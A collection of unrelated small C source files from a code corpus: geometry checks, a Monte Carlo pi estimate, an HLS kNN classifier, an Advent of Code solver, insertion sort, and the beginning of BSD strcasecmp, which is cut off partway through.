#include <stdio.h> #include <math.h> struct point { double x,y; }; double dis(struct point p1,struct point p2) { return sqrt(pow(p1.x-p2.x,2)+pow(p1.y-p2.y,2)); } double Area(struct point p1, struct point p2, struct point p3) { double s,a=dis(p1,p2),b=dis(p1,p3),c=dis(p2,p3); s=(a+b+c)/2; return sqrt(s*(s-a)*(s-b)*(s-c)); } double cos_angle(struct point p,struct point p1,struct point p2) { double a=dis(p1,p2),b=dis(p,p1),c=dis(p,p2); return (b*b+c*c-a*a)/(2*b*c); } int main() { int flag,j,time; struct point cir,p[3]; double R,h,d0,d1,d2; scanf("%d",&time); for(int i=0;i<time;i++) { flag=0; scanf("%lf%lf%lf",&cir.x,&cir.y,&R); for(j=0;j<3;j++) scanf("%lf%lf",&p[j].x,&p[j].y); d0=dis(cir,p[0]); d1=dis(cir,p[1]); d2=dis(cir,p[2]); if(d0==R||d1==R||d2==R) printf("Yes\n"); else if(d0<R&&d1<R&&d2<R) printf("No\n"); else if(d0<R||d1<R||d2<R) printf("Yes\n"); else { for(j=0;j<3;j++) { h=2*Area(cir,p[j%3],p[(j+1)%3])/dis(p[j%3],p[(j+1)%3]); if(h<=R) { double a0=cos_angle(p[j%3],p[(j+1)%3],cir); double a1=cos_angle(p[(j+1)%3],p[j%3],cir); if(a0<=1&&a0>=0&&a1>=0&&a1<=1) { flag=1; break; } } } if(flag) printf("Yes\n"); else printf("No\n"); } } return 0; }
the_stack_data/18887769.c
/** * @file random_numbers.c * @author Francis Anthony ([email protected]) * @version 0.1 * @date 2022-04-10 * * @copyright Copyright (c) 2022 * * This program uses random numbers to conduct numerical simulations * Also known as the Monte Carlo method. * * An integral is used to represent PI/4. * The integral is used to approximate the area of the shaded area. * * A pair of two random numbers (x,y) with values ranging between * 0 and 1 are generated by N times and will be used as the point. * * Every Nth time, if the point satisifies [x^2 + y^2 < 1] the point * is inside the shaded area increment a counter by 1. * * At the end of N rounds, the value of i/N should be proportional to the * shaded area/the square. * * As N increases, it is expect that the ratio of i/N is close to PI/4. */ #include <math.h> #include <stdlib.h> #include <stdio.h> #include <time.h> int main() { double x, y; int i, n, count = 0; // 1. Get the iteration number (N) from the user's input. printf("Enter iteration number (N) = "); scanf("%d", &n); // 2. Set the seed for the number randomizer. srand(time(NULL)); for (i = 0; i < n; i++) { x = 1.0 * rand() / RAND_MAX; y = 1.0 * rand() / RAND_MAX; // 3. Check if the points satisfy the formula. if (x * x + y * y < 1.0) { count++; } } // 3. Display results double result = (double)count / n; printf("True value = %.30lf\n", M_PI_4); printf("Appx value = %.30lf\n", result); printf("Diff value = %.30lf\n", M_PI_4 - result); return 0; }
the_stack_data/176159.c
#include <stdio.h> #include <math.h> #include <stdlib.h> #include <string.h> #include <float.h> #define NUM_CLASSES 2 #define MAXDISTANCE DBL_MAX #define sqr(x) ((x)*(x)) void parallel_0(double knownFeatures[2][32], double xFeatures[32], double distance_array[2]) { // Step 2: Initialize local variables float distance_w1; float distance_w10; float distance_w11; float distance_w12; float distance_w13; float distance_w14; float distance_w15; float distance_w16; float distance_w17; float distance_w18; float distance_w19; float distance_w2; float distance_w20; float distance_w21; float distance_w22; float distance_w23; float distance_w24; float distance_w25; float distance_w26; float distance_w27; float distance_w28; float distance_w29; float distance_w3; float distance_w30; float distance_w31; float distance_w32; float distance_w4; float distance_w5; float distance_w6; float distance_w7; float distance_w8; float distance_w9; float temp_l77_i10_w1; float temp_l77_i11_w1; float temp_l77_i12_w1; float temp_l77_i13_w1; float temp_l77_i14_w1; float temp_l77_i15_w1; float temp_l77_i16_w1; float temp_l77_i17_w1; float temp_l77_i18_w1; float temp_l77_i19_w1; float temp_l77_i1_w1; float temp_l77_i20_w1; float temp_l77_i21_w1; float temp_l77_i22_w1; float temp_l77_i23_w1; float temp_l77_i24_w1; float temp_l77_i25_w1; float temp_l77_i26_w1; float temp_l77_i27_w1; float temp_l77_i28_w1; float temp_l77_i29_w1; float temp_l77_i2_w1; float temp_l77_i30_w1; float temp_l77_i31_w1; float temp_l77_i32_w1; float temp_l77_i3_w1; float temp_l77_i4_w1; float temp_l77_i5_w1; float temp_l77_i6_w1; float temp_l77_i7_w1; float temp_l77_i8_w1; float temp_l77_i9_w1; // Initialization done // starting Loop for( int i = 0; i < 2;i=i+1){ #pragma HLS pipeline temp_l77_i1_w1 = xFeatures[0] - knownFeatures[i][0]; temp_l77_i2_w1 = xFeatures[1] - knownFeatures[i][1]; temp_l77_i3_w1 = xFeatures[2] - knownFeatures[i][2]; temp_l77_i4_w1 = xFeatures[3] - knownFeatures[i][3]; temp_l77_i5_w1 = xFeatures[4] - knownFeatures[i][4]; temp_l77_i6_w1 = xFeatures[5] - knownFeatures[i][5]; temp_l77_i7_w1 = xFeatures[6] - knownFeatures[i][6]; temp_l77_i8_w1 = xFeatures[7] - knownFeatures[i][7]; temp_l77_i9_w1 = xFeatures[8] - knownFeatures[i][8]; temp_l77_i10_w1 = xFeatures[9] - knownFeatures[i][9]; temp_l77_i11_w1 = xFeatures[10] - knownFeatures[i][10]; temp_l77_i12_w1 = xFeatures[11] - knownFeatures[i][11]; temp_l77_i13_w1 = xFeatures[12] - knownFeatures[i][12]; temp_l77_i14_w1 = xFeatures[13] - knownFeatures[i][13]; temp_l77_i15_w1 = xFeatures[14] - knownFeatures[i][14]; temp_l77_i16_w1 = xFeatures[15] - knownFeatures[i][15]; temp_l77_i17_w1 = xFeatures[16] - knownFeatures[i][16]; temp_l77_i18_w1 = xFeatures[17] - knownFeatures[i][17]; temp_l77_i19_w1 = xFeatures[18] - knownFeatures[i][18]; temp_l77_i20_w1 = xFeatures[19] - knownFeatures[i][19]; temp_l77_i21_w1 = xFeatures[20] - knownFeatures[i][20]; temp_l77_i22_w1 = xFeatures[21] - knownFeatures[i][21]; temp_l77_i23_w1 = xFeatures[22] - knownFeatures[i][22]; temp_l77_i24_w1 = xFeatures[23] - knownFeatures[i][23]; temp_l77_i25_w1 = xFeatures[24] - knownFeatures[i][24]; temp_l77_i26_w1 = xFeatures[25] - knownFeatures[i][25]; temp_l77_i27_w1 = xFeatures[26] - knownFeatures[i][26]; temp_l77_i28_w1 = xFeatures[27] - knownFeatures[i][27]; temp_l77_i29_w1 = xFeatures[28] - knownFeatures[i][28]; temp_l77_i30_w1 = xFeatures[29] - knownFeatures[i][29]; temp_l77_i31_w1 = xFeatures[30] - knownFeatures[i][30]; temp_l77_i32_w1 = xFeatures[31] - knownFeatures[i][31]; distance_w27 = 0 + sqr(temp_l77_i1_w1); distance_w4 = sqr(temp_l77_i28_w1) + sqr(temp_l77_i29_w1); distance_w32 = sqr(temp_l77_i30_w1) + sqr(temp_l77_i31_w1); distance_w24 = distance_w27 + sqr(temp_l77_i2_w1); distance_w3 = distance_w4 + distance_w32; distance_w23 = distance_w24 + sqr(temp_l77_i3_w1); distance_w30 = distance_w23 + sqr(temp_l77_i4_w1); distance_w22 = distance_w30 + sqr(temp_l77_i5_w1); distance_w21 = distance_w22 + sqr(temp_l77_i6_w1); distance_w19 = distance_w21 + sqr(temp_l77_i7_w1); distance_w18 = distance_w19 + sqr(temp_l77_i8_w1); distance_w16 = distance_w18 + sqr(temp_l77_i9_w1); distance_w15 = distance_w16 + sqr(temp_l77_i10_w1); distance_w29 = distance_w15 + sqr(temp_l77_i11_w1); distance_w28 = distance_w29 + sqr(temp_l77_i12_w1); distance_w14 = distance_w28 + sqr(temp_l77_i13_w1); distance_w13 = distance_w14 + sqr(temp_l77_i14_w1); distance_w12 = distance_w13 + sqr(temp_l77_i15_w1); distance_w9 = distance_w12 + sqr(temp_l77_i16_w1); distance_w8 = distance_w9 + sqr(temp_l77_i17_w1); distance_w20 = distance_w8 + sqr(temp_l77_i18_w1); distance_w7 = distance_w20 + sqr(temp_l77_i19_w1); distance_w6 = distance_w7 + sqr(temp_l77_i20_w1); distance_w17 = distance_w6 + sqr(temp_l77_i21_w1); distance_w11 = distance_w17 + sqr(temp_l77_i22_w1); distance_w10 = distance_w11 + sqr(temp_l77_i23_w1); distance_w2 = distance_w10 + sqr(temp_l77_i24_w1); distance_w1 = distance_w2 + sqr(temp_l77_i25_w1); distance_w5 = distance_w1 + sqr(temp_l77_i26_w1); distance_w31 = distance_w5 + sqr(temp_l77_i27_w1); distance_w26 = distance_w31 + distance_w3; distance_w25 = distance_w26 + sqr(temp_l77_i32_w1); distance_array[i] = sqrtf(distance_w25); } } void epilogue(char knownClasses[8], double distance_array_1[2], double distance_array_0[2], double distance_array_3[2], double distance_array_2[2], char *out) { // Step 2: Initialize local variables char BestPointsClasses[3]; double BestPointsDistances[3]; char c1_w1; char c2_w1; char c3_w1; char cbest_w1; char cbest_w2; char cbest_w3; char cbest_w4; char cbest_w5; char cbest_w6; char cbest_w7; char cbest_w8; char classID_w1; char classID_w2; char classID_w3; char classID_w4; double d1_w1; double d2_w1; double d3_w1; float dbest_w1; float dbest_w10; double dbest_w11; float dbest_w12; double dbest_w13; float dbest_w14; float dbest_w15; float dbest_w16; double dbest_w17; float dbest_w18; float dbest_w19; double dbest_w2; float dbest_w20; float dbest_w21; float dbest_w22; float dbest_w23; float dbest_w24; float dbest_w25; float dbest_w26; float dbest_w27; double dbest_w28; double dbest_w29; float dbest_w3; double dbest_w30; double dbest_w31; float dbest_w32; float dbest_w4; float dbest_w5; float dbest_w6; float dbest_w7; float dbest_w8; float dbest_w9; int index_w1; int index_w10; int index_w11; int index_w12; int index_w13; int index_w14; int index_w15; int index_w16; int index_w17; int index_w18; int index_w19; int index_w2; int index_w20; int index_w21; int index_w22; int index_w23; int index_w24; int index_w3; int index_w4; int index_w5; int index_w6; int index_w7; int index_w8; int index_w9; double max_tmp_w1; double max_tmp_w10; double max_tmp_w11; double max_tmp_w12; double max_tmp_w13; double max_tmp_w14; double max_tmp_w15; double max_tmp_w16; double max_tmp_w17; double max_tmp_w18; double max_tmp_w19; double max_tmp_w2; double max_tmp_w20; double max_tmp_w21; double max_tmp_w22; double max_tmp_w23; double max_tmp_w24; double max_tmp_w3; double max_tmp_w4; double max_tmp_w5; double max_tmp_w6; double max_tmp_w7; double max_tmp_w8; double max_tmp_w9; float max_w1; float max_w10; float max_w11; float max_w12; float max_w13; float max_w14; float max_w15; float max_w16; float max_w17; float max_w18; float max_w19; float max_w2; float max_w20; float max_w21; float max_w22; float max_w23; float max_w24; float max_w3; float max_w4; float max_w5; float max_w6; float max_w7; float max_w8; float max_w9; double mindist_w1; double mindist_w2; double muxOutput_w1; double muxOutput_w10; double muxOutput_w11; double muxOutput_w12; double muxOutput_w13; double muxOutput_w14; double muxOutput_w15; double muxOutput_w16; double muxOutput_w2; double muxOutput_w3; double muxOutput_w4; double muxOutput_w5; double muxOutput_w6; double muxOutput_w7; double muxOutput_w8; double muxOutput_w9; double operationOutput_w1; double operationOutput_w10; double operationOutput_w11; double operationOutput_w12; double operationOutput_w13; double operationOutput_w14; double operationOutput_w15; double operationOutput_w16; double operationOutput_w17; double operationOutput_w18; double operationOutput_w19; double operationOutput_w2; double operationOutput_w20; double operationOutput_w21; double operationOutput_w22; double operationOutput_w23; double operationOutput_w24; double operationOutput_w25; double operationOutput_w26; double operationOutput_w27; double operationOutput_w28; double operationOutput_w29; double operationOutput_w3; double operationOutput_w30; double operationOutput_w31; double operationOutput_w32; double operationOutput_w33; double operationOutput_w34; double operationOutput_w35; double operationOutput_w36; double operationOutput_w37; double operationOutput_w38; double operationOutput_w4; double operationOutput_w5; double operationOutput_w6; double operationOutput_w7; double operationOutput_w8; double operationOutput_w9; // Initialization done max_tmp_w15 = 0; max_tmp_w8 = 0; max_tmp_w13 = 0; max_tmp_w6 = 0; max_tmp_w24 = 0; max_tmp_w19 = 0; max_tmp_w1 = 0; max_tmp_w4 = 0; BestPointsDistances[2] = MAXDISTANCE; BestPointsDistances[0] = MAXDISTANCE; BestPointsDistances[1] = MAXDISTANCE; BestPointsClasses[0] = NUM_CLASSES; BestPointsClasses[1] = NUM_CLASSES; BestPointsClasses[2] = NUM_CLASSES; dbest_w18 = BestPointsDistances[0]; dbest_w32 = BestPointsDistances[1]; dbest_w23 = BestPointsDistances[2]; operationOutput_w21 = dbest_w18 > max_tmp_w4; index_w7 = operationOutput_w21 ? 0:0; max_w24 = operationOutput_w21 ? dbest_w18:0; max_tmp_w22 = max_w24; operationOutput_w38 = dbest_w32 > max_tmp_w22; index_w24 = operationOutput_w38 ? 1:index_w7; max_w20 = operationOutput_w38 ? dbest_w32:max_w24; max_tmp_w21 = max_w20; operationOutput_w34 = dbest_w23 > max_tmp_w21; index_w4 = operationOutput_w34 ? 2:index_w24; max_w19 = operationOutput_w34 ? dbest_w23:max_w20; operationOutput_w2 = distance_array_0[0] < max_w19; cbest_w3 = BestPointsClasses[index_w4]; dbest_w2 = BestPointsDistances[index_w4]; muxOutput_w3 = operationOutput_w2 ? knownClasses[0]:cbest_w3; muxOutput_w1 = operationOutput_w2 ? distance_array_0[0]:dbest_w2; BestPointsClasses[index_w4] = muxOutput_w3; BestPointsDistances[index_w4] = muxOutput_w1; dbest_w9 = BestPointsDistances[0]; dbest_w5 = BestPointsDistances[1]; dbest_w27 = BestPointsDistances[2]; operationOutput_w12 = dbest_w9 > max_tmp_w6; index_w23 = operationOutput_w12 ? 0:0; max_w3 = operationOutput_w12 ? dbest_w9:0; max_tmp_w3 = max_w3; operationOutput_w4 = dbest_w5 > max_tmp_w3; max_w15 = operationOutput_w4 ? dbest_w5:max_w3; index_w22 = operationOutput_w4 ? 1:index_w23; max_tmp_w12 = max_w15; operationOutput_w30 = dbest_w27 > max_tmp_w12; max_w6 = operationOutput_w30 ? dbest_w27:max_w15; index_w2 = operationOutput_w30 ? 2:index_w22; operationOutput_w11 = distance_array_0[1] < max_w6; cbest_w1 = BestPointsClasses[index_w2]; dbest_w29 = BestPointsDistances[index_w2]; muxOutput_w11 = operationOutput_w11 ? knownClasses[1]:cbest_w1; muxOutput_w9 = operationOutput_w11 ? distance_array_0[1]:dbest_w29; BestPointsClasses[index_w2] = muxOutput_w11; BestPointsDistances[index_w2] = muxOutput_w9; dbest_w14 = BestPointsDistances[0]; dbest_w26 = BestPointsDistances[1]; dbest_w15 = BestPointsDistances[2]; operationOutput_w17 = dbest_w14 > max_tmp_w13; max_w10 = operationOutput_w17 ? dbest_w14:0; index_w18 = operationOutput_w17 ? 0:0; max_tmp_w16 = max_w10; operationOutput_w29 = dbest_w26 > max_tmp_w16; max_w12 = operationOutput_w29 ? dbest_w26:max_w10; index_w14 = operationOutput_w29 ? 1:index_w18; max_tmp_w11 = max_w12; operationOutput_w19 = dbest_w15 > max_tmp_w11; index_w3 = operationOutput_w19 ? 2:index_w14; max_w11 = operationOutput_w19 ? dbest_w15:max_w12; operationOutput_w37 = distance_array_1[0] < max_w11; cbest_w6 = BestPointsClasses[index_w3]; dbest_w31 = BestPointsDistances[index_w3]; muxOutput_w2 = operationOutput_w37 ? distance_array_1[0]:dbest_w31; muxOutput_w16 = operationOutput_w37 ? knownClasses[2]:cbest_w6; BestPointsDistances[index_w3] = muxOutput_w2; BestPointsClasses[index_w3] = muxOutput_w16; dbest_w1 = BestPointsDistances[0]; dbest_w24 = BestPointsDistances[1]; dbest_w20 = BestPointsDistances[2]; operationOutput_w1 = dbest_w1 > max_tmp_w19; max_w1 = operationOutput_w1 ? dbest_w1:0; index_w5 = operationOutput_w1 ? 0:0; max_tmp_w10 = max_w1; operationOutput_w26 = dbest_w24 > max_tmp_w10; index_w13 = operationOutput_w26 ? 1:index_w5; max_w9 = operationOutput_w26 ? dbest_w24:max_w1; max_tmp_w9 = max_w9; operationOutput_w24 = dbest_w20 > max_tmp_w9; max_w16 = operationOutput_w24 ? dbest_w20:max_w9; index_w1 = operationOutput_w24 ? 2:index_w13; operationOutput_w22 = distance_array_1[1] < max_w16; cbest_w5 = BestPointsClasses[index_w1]; dbest_w11 = BestPointsDistances[index_w1]; muxOutput_w6 = operationOutput_w22 ? knownClasses[3]:cbest_w5; muxOutput_w15 = operationOutput_w22 ? distance_array_1[1]:dbest_w11; BestPointsDistances[index_w1] = muxOutput_w15; BestPointsClasses[index_w1] = muxOutput_w6; dbest_w4 = BestPointsDistances[0]; dbest_w3 = BestPointsDistances[1]; dbest_w7 = BestPointsDistances[2]; operationOutput_w3 = dbest_w4 > max_tmp_w1; index_w19 = operationOutput_w3 ? 0:0; max_w22 = operationOutput_w3 ? dbest_w4:0; max_tmp_w5 = max_w22; operationOutput_w10 = dbest_w3 > max_tmp_w5; max_w2 = operationOutput_w10 ? dbest_w3:max_w22; index_w9 = operationOutput_w10 ? 1:index_w19; max_tmp_w2 = max_w2; operationOutput_w7 = dbest_w7 > max_tmp_w2; max_w14 = operationOutput_w7 ? dbest_w7:max_w2; index_w6 = operationOutput_w7 ? 2:index_w9; operationOutput_w28 = distance_array_2[0] < max_w14; cbest_w8 = BestPointsClasses[index_w6]; dbest_w13 = BestPointsDistances[index_w6]; muxOutput_w5 = operationOutput_w28 ? knownClasses[4]:cbest_w8; muxOutput_w12 = operationOutput_w28 ? distance_array_2[0]:dbest_w13; BestPointsDistances[index_w6] = muxOutput_w12; BestPointsClasses[index_w6] = muxOutput_w5; dbest_w12 = BestPointsDistances[0]; dbest_w6 = BestPointsDistances[1]; dbest_w8 = BestPointsDistances[2]; operationOutput_w16 = dbest_w12 > max_tmp_w24; max_w8 = operationOutput_w16 ? dbest_w12:0; index_w12 = operationOutput_w16 ? 0:0; max_tmp_w23 = max_w8; operationOutput_w33 = dbest_w6 > max_tmp_w23; index_w17 = operationOutput_w33 ? 1:index_w12; max_w5 = operationOutput_w33 ? dbest_w6:max_w8; max_tmp_w17 = max_w5; operationOutput_w9 = dbest_w8 > max_tmp_w17; index_w10 = operationOutput_w9 ? 2:index_w17; max_w4 = operationOutput_w9 ? dbest_w8:max_w5; operationOutput_w15 = distance_array_2[1] < max_w4; cbest_w7 = BestPointsClasses[index_w10]; dbest_w30 = BestPointsDistances[index_w10]; muxOutput_w13 = operationOutput_w15 ? distance_array_2[1]:dbest_w30; muxOutput_w14 = operationOutput_w15 ? knownClasses[5]:cbest_w7; BestPointsDistances[index_w10] = muxOutput_w13; BestPointsClasses[index_w10] = muxOutput_w14; dbest_w22 = BestPointsDistances[0]; dbest_w21 = BestPointsDistances[1]; dbest_w16 = BestPointsDistances[2]; operationOutput_w36 = dbest_w22 > max_tmp_w15; index_w21 = operationOutput_w36 ? 0:0; max_w21 = operationOutput_w36 ? dbest_w22:0; max_tmp_w14 = max_w21; operationOutput_w23 = dbest_w21 > max_tmp_w14; index_w20 = operationOutput_w23 ? 1:index_w21; max_w7 = operationOutput_w23 ? dbest_w21:max_w21; max_tmp_w7 = max_w7; operationOutput_w20 = dbest_w16 > max_tmp_w7; max_w13 = operationOutput_w20 ? dbest_w16:max_w7; index_w11 = operationOutput_w20 ? 2:index_w20; operationOutput_w18 = distance_array_3[0] < max_w13; cbest_w2 = BestPointsClasses[index_w11]; dbest_w17 = BestPointsDistances[index_w11]; muxOutput_w10 = operationOutput_w18 ? distance_array_3[0]:dbest_w17; muxOutput_w4 = operationOutput_w18 ? knownClasses[6]:cbest_w2; BestPointsClasses[index_w11] = muxOutput_w4; BestPointsDistances[index_w11] = muxOutput_w10; dbest_w10 = BestPointsDistances[0]; dbest_w25 = BestPointsDistances[1]; dbest_w19 = BestPointsDistances[2]; operationOutput_w13 = dbest_w10 > max_tmp_w8; index_w16 = operationOutput_w13 ? 0:0; max_w17 = operationOutput_w13 ? dbest_w10:0; max_tmp_w18 = max_w17; operationOutput_w25 = dbest_w25 > max_tmp_w18; max_w18 = operationOutput_w25 ? dbest_w25:max_w17; index_w15 = operationOutput_w25 ? 1:index_w16; max_tmp_w20 = max_w18; operationOutput_w35 = dbest_w19 > max_tmp_w20; index_w8 = operationOutput_w35 ? 2:index_w15; max_w23 = operationOutput_w35 ? dbest_w19:max_w18; operationOutput_w31 = distance_array_3[1] < max_w23; cbest_w4 = BestPointsClasses[index_w8]; dbest_w28 = BestPointsDistances[index_w8]; muxOutput_w7 = operationOutput_w31 ? knownClasses[7]:cbest_w4; muxOutput_w8 = operationOutput_w31 ? distance_array_3[1]:dbest_w28; BestPointsClasses[index_w8] = muxOutput_w7; BestPointsDistances[index_w8] = muxOutput_w8; c1_w1 = BestPointsClasses[0]; c2_w1 = BestPointsClasses[1]; c3_w1 = BestPointsClasses[2]; d1_w1 = BestPointsDistances[0]; d2_w1 = BestPointsDistances[1]; d3_w1 = BestPointsDistances[2]; mindist_w1 = d1_w1; operationOutput_w6 = c1_w1 == c3_w1; operationOutput_w8 = c1_w1 == c2_w1; operationOutput_w14 = c2_w1 == c3_w1; operationOutput_w5 = mindist_w1 > d2_w1; operationOutput_w32 = mindist_w1 > d2_w1; classID_w1 = operationOutput_w5 ? c2_w1:c1_w1; mindist_w2 = operationOutput_w32 ? d2_w1:d1_w1; operationOutput_w27 = mindist_w2 > d3_w1; classID_w3 = operationOutput_w27 ? c3_w1:classID_w1; classID_w2 = operationOutput_w14 ? c2_w1:classID_w3; classID_w4 = operationOutput_w6 ? c1_w1:classID_w2; *out = operationOutput_w8 ? c1_w1:classID_w4; } void knn_8p32f_4parallel_saveEnergy(double xFeatures[32], char knownClasses[8], double knownFeatures_0[2][32], double knownFeatures_1[2][32], double knownFeatures_2[2][32], double knownFeatures_3[2][32], char *out) { // Step 2: Initialize local variables double distance_array_0[2]; double distance_array_1[2]; double distance_array_2[2]; double distance_array_3[2]; #pragma HLS ARRAY_PARTITION variable=xFeatures cyclic factor=32 dim=1 // Initialization done #pragma HLS dataflow parallel_0(knownFeatures_0,xFeatures,distance_array_0); parallel_0(knownFeatures_1,xFeatures,distance_array_1); parallel_0(knownFeatures_2,xFeatures,distance_array_2); parallel_0(knownFeatures_3,xFeatures,distance_array_3); epilogue(knownClasses,distance_array_1,distance_array_0,distance_array_3,distance_array_2,out); }
the_stack_data/218438.c
#include <stdio.h> struct abc{ int a; int b; int c; }; int main(int argc, char *argv[]) { struct abc st = { 0 }; char *p = &st; printf("%hhx", *p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); printf("%hhx", *++p); return 0; }
the_stack_data/1267461.c
/* exemple pour le calcul de compatibilite */ // FI: I cannot believe that gcc does not warn about the uselesness of // r and s in foo... void foo(int ** pi, int **pj) { int * r, *s; r = *pi; s = *pj; ** pi = 1, ** pj = 2; return; } int main() { int **qq, **pp, *q, *p, i= 0, j = 1; p = &i, q = &j; pp = &p, qq = & q; foo(pp, qq); return 0; }
the_stack_data/93887624.c
int main() { int x1 = 1, x2 = -2, x3 = 3, x4 = -4, x5 = 5, x6 = -6, x7 = 7, x8 = -8, x9 = 9, x10 = -10, x11 = 11, x12 = -12, x13 = 13, x14 = -14, x15 = 15; int divResult = x10 / x8; // 1 int sum = x1 + x2 + x3 + x4 + x5 + x6 + x7 + x8 + x9 + x10 + x11 + x12 + x13 + x14 + x15; // 8 return divResult + sum; // 9 }
the_stack_data/154830570.c
/* * Copyright (c) 2017, 2018, Oracle and/or its affiliates. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ struct test { int a; int b; }; int main() { struct test t = { 1, 2 }; struct test d = t; t.a = 5; t.b = 3; return d.a + d.b + t.a + t.b; }
the_stack_data/126703607.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <string.h> typedef struct { int *fishes; int count, capacity; } Input; typedef struct { unsigned long part1; unsigned long part2; } Results; unsigned long runGenerations(Input input, int generations) { unsigned long fishCounts[9] = {0}; while (input.count--) fishCounts[*input.fishes++]++; while (generations--) { unsigned long fishesAtZero = fishCounts[0]; for (int day = 0; day < 8; day++) fishCounts[day] = fishCounts[day + 1]; fishCounts[8] = fishesAtZero; fishCounts[6] += fishesAtZero; } unsigned long fishes = 0; for (int day = 0; day < 9; day++) fishes += fishCounts[day]; return fishes; } Results solve(Input input) { return (Results){runGenerations(input, 80), runGenerations(input, 256)}; } #define INPUT_INCREMENT 10 void addToInput(Input *input, int day) { if (input->count == input->capacity) { input->capacity += INPUT_INCREMENT; input->fishes = realloc(input->fishes, input->capacity * sizeof(int)); } input->fishes[input->count++] = day; } Input getInput(char *filePath) { FILE *file; if ((file = fopen(filePath, "r")) == NULL) { perror("Error reading input file!\n"); exit(1); } fseek(file, 0, SEEK_END); long length = ftell(file); rewind(file); char *content = malloc(length); fread(content, 1, length, file); fclose(file); Input input = { malloc(INPUT_INCREMENT * sizeof(int)), 0, INPUT_INCREMENT }; char *fish = strtok(content, ","); while (fish != NULL) { addToInput(&input, atoi(fish)); fish = strtok(NULL, ","); } free(content); return input; } void freeInput(Input input) { free(input.fishes); } int main(int argc, char **argv) { if (argc != 2) { perror("Please, add input file path as parameter"); exit(1); } struct timeval starts, ends; gettimeofday(&starts, NULL); Input input = getInput(argv[1]); Results results = solve(input); gettimeofday(&ends, NULL); freeInput(input); printf("P1: %lu\n", results.part1); printf("P2: %lu\n\n", results.part2); printf("Time: %.7f\n", (double)((ends.tv_sec - starts.tv_sec) * 1000000 + ends.tv_usec - starts.tv_usec) / 1000000); return 0; }
the_stack_data/994672.c
extern void swap(int *, int *); void insertion_sort(int *nums, int size) { for (int i = 1; i < size; i++) { int curr = nums[i]; int j = i - 1; while (j >= 0 && nums[j] > curr) { nums[j + 1] = nums[j]; j--; } nums[j + 1] = curr; } }
the_stack_data/122014368.c
/* * Copyright (c) 1987, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef __STDC__ #define const #endif #include <sys/types.h> #include <sys/cdefs.h> #ifdef HAVE_STRING_H #include <string.h> #else #include <strings.h> #endif #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)strcasecmp.c 8.1 (Berkeley) 6/4/93"; #endif /* LIBC_SCCS and not lint */ /* * This array is designed for mapping upper and lower case letter * together for a case independent comparison. The mappings are * based upon ascii character sequences. */ static const u_char charmap[] = { '\000', '\001', '\002', '\003', '\004', '\005', '\006', '\007', '\010', '\011', '\012', '\013', '\014', '\015', '\016', '\017', '\020', '\021', '\022', '\023', '\024', '\025', '\026', '\027', '\030', '\031', '\032', '\033', '\034', '\035', '\036', '\037', '\040', '\041', '\042', '\043', '\044', '\045', '\046', '\047', '\050', '\051', '\052', '\053', '\054', '\055', '\056', '\057', '\060', '\061', '\062', '\063', '\064', '\065', '\066', '\067', '\070', '\071', '\072', '\073', '\074', '\075', '\076', '\077', '\100', '\141', '\142', '\143', '\144', '\145', '\146', '\147', '\150', '\151', '\152', '\153', '\154', '\155', '\156', '\157', '\160', '\161', '\162', '\163', '\164', '\165', '\166', '\167', '\170', '\171', '\172', '\133', 